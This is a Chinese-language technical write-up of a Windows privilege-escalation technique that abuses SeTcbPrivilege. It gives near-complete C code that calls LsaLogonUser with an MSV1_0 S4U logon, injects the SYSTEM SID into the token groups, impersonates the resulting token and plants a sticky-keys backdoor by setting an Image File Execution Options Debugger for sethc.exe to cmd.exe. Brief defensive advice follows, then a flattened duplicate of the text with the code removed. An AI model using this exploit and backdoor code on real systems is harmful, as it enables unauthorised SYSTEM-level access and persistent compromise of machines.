Token Privileges Abusing - SeTcbPrivilege
字数 1213 2025-08-06 08:34:49

SeTcbPrivilege 特权滥用技术分析

1. SeTcbPrivilege 特权概述

SeTcbPrivilege("Act as part of the operating system")是Windows系统中一个强大的特权,通常被描述为等同于对机器的完全特权访问。拥有该特权的进程可以:

  • 调用LsaLogonUser()函数创建登录令牌
  • 执行创建任意用户令牌的操作
  • 充当系统任意用户身份

2. LsaLogonUser 函数分析

LsaLogonUser函数是特权滥用的核心API,其定义如下:

NTSTATUS LsaLogonUser(
    [in] HANDLE LsaHandle,
    [in] PLSA_STRING OriginName,
    [in] SECURITY_LOGON_TYPE LogonType,
    [in] ULONG AuthenticationPackage,
    [in] PVOID AuthenticationInformation,
    [in] ULONG AuthenticationInformationLength,
    [in, optional] PTOKEN_GROUPS LocalGroups,
    [in] PTOKEN_SOURCE SourceContext,
    [out] PVOID *ProfileBuffer,
    [out] PULONG ProfileBufferLength,
    [out] PLUID LogonId,
    [out] PHANDLE Token,
    [out] PQUOTA_LIMITS Quotas,
    [out] PNTSTATUS SubStatus
);

关键参数说明:

  1. LogonType:指定登录类型

    • Interactive或Batch:生成主令牌
    • Network:生成模拟令牌
  2. LocalGroups:可向令牌中添加额外组SID

  3. SeTcbPrivilege特权需求场景

    • 使用子身份验证包
    • 使用KERB_S4U_LOGON请求模拟令牌
    • LocalGroups参数不为NULL

3. S4U登录技术

3.1 S4U登录结构

KERB_S4U_LOGON结构

typedef struct _KERB_S4U_LOGON {
    KERB_LOGON_SUBMIT_TYPE MessageType;
    ULONG Flags;
    UNICODE_STRING ClientUpn;    // 客户端UPN
    UNICODE_STRING ClientRealm; // 客户端域
} KERB_S4U_LOGON, *PKERB_S4U_LOGON;

MSV1_0_S4U_LOGON结构

typedef struct _MSV1_0_S4U_LOGON {
    MSV1_0_LOGON_SUBMIT_TYPE MessageType;
    ULONG Flags;
    UNICODE_STRING UserPrincipalName; // 用户名或username@domain
    UNICODE_STRING DomainName;        // 域名称
} MSV1_0_S4U_LOGON, *PMSV1_0_S4U_LOGON;

3.2 技术原理

关键思路:使用LsaLogonUser将管理员组或SYSTEM账户组SID添加到当前用户令牌中,然后进行模拟。

  1. 将"S-1-5-18"(SYSTEM账户SID)添加到令牌的LocalGroups中
  2. 设置令牌完整性级别为Medium
  3. 模拟生成的令牌

4. 完整利用流程

4.1 主要步骤

  1. 启用SeTcbPrivilege特权
  2. 初始化LSA连接
  3. 准备S4U登录结构
  4. 构造TOKEN_GROUPS添加SYSTEM SID
  5. 调用LsaLogonUser获取模拟令牌
  6. 设置令牌完整性级别
  7. 模拟令牌
  8. 执行特权操作(如设置粘滞键后门)

4.2 关键代码实现

启用SeTcbPrivilege

BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
    BOOL status = FALSE;
    LUID luidValue = {0};
    TOKEN_PRIVILEGES tokenPrivileges;
    
    // 获取特权LUID
    if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
        return FALSE;
    }
    
    // 设置特权信息
    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    // 调整令牌特权
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 
                              sizeof(tokenPrivileges), NULL, NULL)) {
        return FALSE;
    }
    
    return TRUE;
}

LSA初始化

NTSTATUS LsaInit() {
    NTSTATUS status = 0;
    // 建立LSA连接
    status = LsaConnectUntrusted(&hLSA);
    if (status != STATUS_SUCCESS) {
        return status;
    }
    
    // 查找身份验证包
    status = LsaLookupAuthenticationPackage(hLSA, &MSV1_0_PackageName, 
                                           &ulAuthenticationPackage);
    return status;
}

S4U登录执行

NTSTATUS DoS4U(HANDLE hToken) {
    // ...初始化变量...
    
    // 转换SYSTEM SID
    WCHAR systemSID[] = L"S-1-5-18";
    ConvertStringSidToSidW(systemSID, &pExtraSid);
    
    // 准备S4U登录结构
    dwMsgS4ULength = sizeof(MSV1_0_S4U_LOGON) + 
                    (EXTRA_SID_COUNT + (DWORD)wcslen(szDomain) + 
                    (DWORD)wcslen(szUsername)) * sizeof(WCHAR);
    pS4uLogon = (PMSV1_0_S4U_LOGON)LocalAlloc(LPTR, dwMsgS4ULength);
    
    // 填充S4U登录信息
    pS4uLogon->MessageType = MsV1_0S4ULogon;
    pbPosition = (PBYTE)pS4uLogon + sizeof(MSV1_0_S4U_LOGON);
    pbPosition = InitUnicodeString(&pS4uLogon->UserPrincipalName, 
                                  szUsername, pbPosition);
    pbPosition = InitUnicodeString(&pS4uLogon->DomainName, 
                                  szDomain, pbPosition);
    
    // 准备TOKEN_GROUPS添加SYSTEM SID
    pGroups = (PTOKEN_GROUPS)LocalAlloc(LPTR, 
                sizeof(TOKEN_GROUPS) + 2 * sizeof(SID_AND_ATTRIBUTES));
    pGroups->Groups[pGroups->GroupCount].Attributes = 
        SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY;
    pGroups->Groups[pGroups->GroupCount].Sid = pExtraSid;
    pGroups->GroupCount++;
    
    // 调用LsaLogonUser
    status = LsaLogonUser(
        hLSA, &OriginName, Network, ulAuthenticationPackage,
        pS4uLogon, dwMsgS4ULength, pGroups, &TokenSource,
        &pvProfile, &dwProfile, &logonId, &hTokenS4U, 
        &quotaLimits, &subStatus
    );
    
    // 设置令牌完整性级别为Medium
    WCHAR mediumInt[] = L"S-1-16-8192";
    PSID mediumSID = NULL;
    ConvertStringSidToSidW(mediumInt, &mediumSID);
    
    TIL.Label.Attributes = SE_GROUP_INTEGRITY;
    TIL.Label.Sid = mediumSID;
    SetTokenInformation(hTokenS4U, TokenIntegrityLevel, &TIL, 
                      sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(mediumSID));
    
    // 模拟令牌
    hThread = GetCurrentThread();
    SetThreadToken(&hThread, hTokenS4U);
    
    // 执行特权操作
    ExploitSeTcbPrivilege();
    
    return status;
}

设置粘滞键后门

void ExploitSeTcbPrivilege() {
    HKEY hKey;
    LPCWSTR lpCommand = L"\"C:\\Windows\\System32\\cmd.exe\"";
    
    // 创建注册表项
    RegCreateKeyExW(
        HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
        0, NULL, NULL, KEY_SET_VALUE, NULL, &hKey, NULL
    );
    
    // 设置Debugger值
    RegSetValueExW(
        hKey, L"Debugger", 0, REG_SZ, 
        (const BYTE*)lpCommand, (wcslen(lpCommand) + 1) * sizeof(WCHAR)
    );
}

5. 防御建议

  1. 特权管理

    • 严格控制SeTcbPrivilege特权的分配
    • 遵循最小特权原则
  2. 监控措施

    • 监控LsaLogonUser API的调用
    • 特别关注使用S4U登录类型的调用
  3. 系统加固

    • 限制注册表关键位置的写入权限
    • 启用Windows Defender等安全产品的攻击面减少规则
  4. 审计日志

    • 启用详细的安全审计日志
    • 监控特权令牌的创建和修改操作

6. 总结

SeTcbPrivilege特权滥用技术通过利用LsaLogonUser函数的S4U登录功能,结合LocalGroups参数添加SYSTEM SID,能够实现权限提升。这种技术的关键在于:

  1. 正确构造S4U登录结构
  2. 通过LocalGroups参数注入高权限SID
  3. 合理设置令牌完整性级别以实现模拟
  4. 最终通过令牌模拟执行特权操作

理解这一技术有助于安全研究人员更好地评估Windows特权模型的安全性,并为防御此类攻击提供理论基础。

SeTcbPrivilege 特权滥用技术分析 1. SeTcbPrivilege 特权概述 SeTcbPrivilege("Act as part of the operating system")是Windows系统中一个强大的特权,通常被描述为等同于对机器的完全特权访问。拥有该特权的进程可以: 调用LsaLogonUser()函数创建登录令牌 执行创建任意用户令牌的操作 充当系统任意用户身份 2. LsaLogonUser 函数分析 LsaLogonUser函数是特权滥用的核心API,其定义如下: 关键参数说明: LogonType :指定登录类型 Interactive或Batch:生成主令牌 Network:生成模拟令牌 LocalGroups :可向令牌中添加额外组SID SeTcbPrivilege特权需求场景 : 使用子身份验证包 使用KERB_ S4U_ LOGON请求模拟令牌 LocalGroups参数不为NULL 3. S4U登录技术 3.1 S4U登录结构 KERB_ S4U_ LOGON结构 MSV1_ 0_ S4U_ LOGON结构 3.2 技术原理 关键思路:使用LsaLogonUser将管理员组或SYSTEM账户组SID添加到当前用户令牌中,然后进行模拟。 将"S-1-5-18"(SYSTEM账户SID)添加到令牌的LocalGroups中 设置令牌完整性级别为Medium 模拟生成的令牌 4. 完整利用流程 4.1 主要步骤 启用SeTcbPrivilege特权 初始化LSA连接 准备S4U登录结构 构造TOKEN_ GROUPS添加SYSTEM SID 调用LsaLogonUser获取模拟令牌 设置令牌完整性级别 模拟令牌 执行特权操作(如设置粘滞键后门) 4.2 关键代码实现 启用SeTcbPrivilege LSA初始化 S4U登录执行 设置粘滞键后门 5. 防御建议 特权管理 : 严格控制SeTcbPrivilege特权的分配 遵循最小特权原则 监控措施 : 监控LsaLogonUser API的调用 特别关注使用S4U登录类型的调用 系统加固 : 限制注册表关键位置的写入权限 启用Windows Defender等安全产品的攻击面减少规则 审计日志 : 启用详细的安全审计日志 监控特权令牌的创建和修改操作 6. 总结 SeTcbPrivilege特权滥用技术通过利用LsaLogonUser函数的S4U登录功能,结合LocalGroups参数添加SYSTEM SID,能够实现权限提升。这种技术的关键在于: 正确构造S4U登录结构 通过LocalGroups参数注入高权限SID 合理设置令牌完整性级别以实现模拟 最终通过令牌模拟执行特权操作 理解这一技术有助于安全研究人员更好地评估Windows特权模型的安全性,并为防御此类攻击提供理论基础。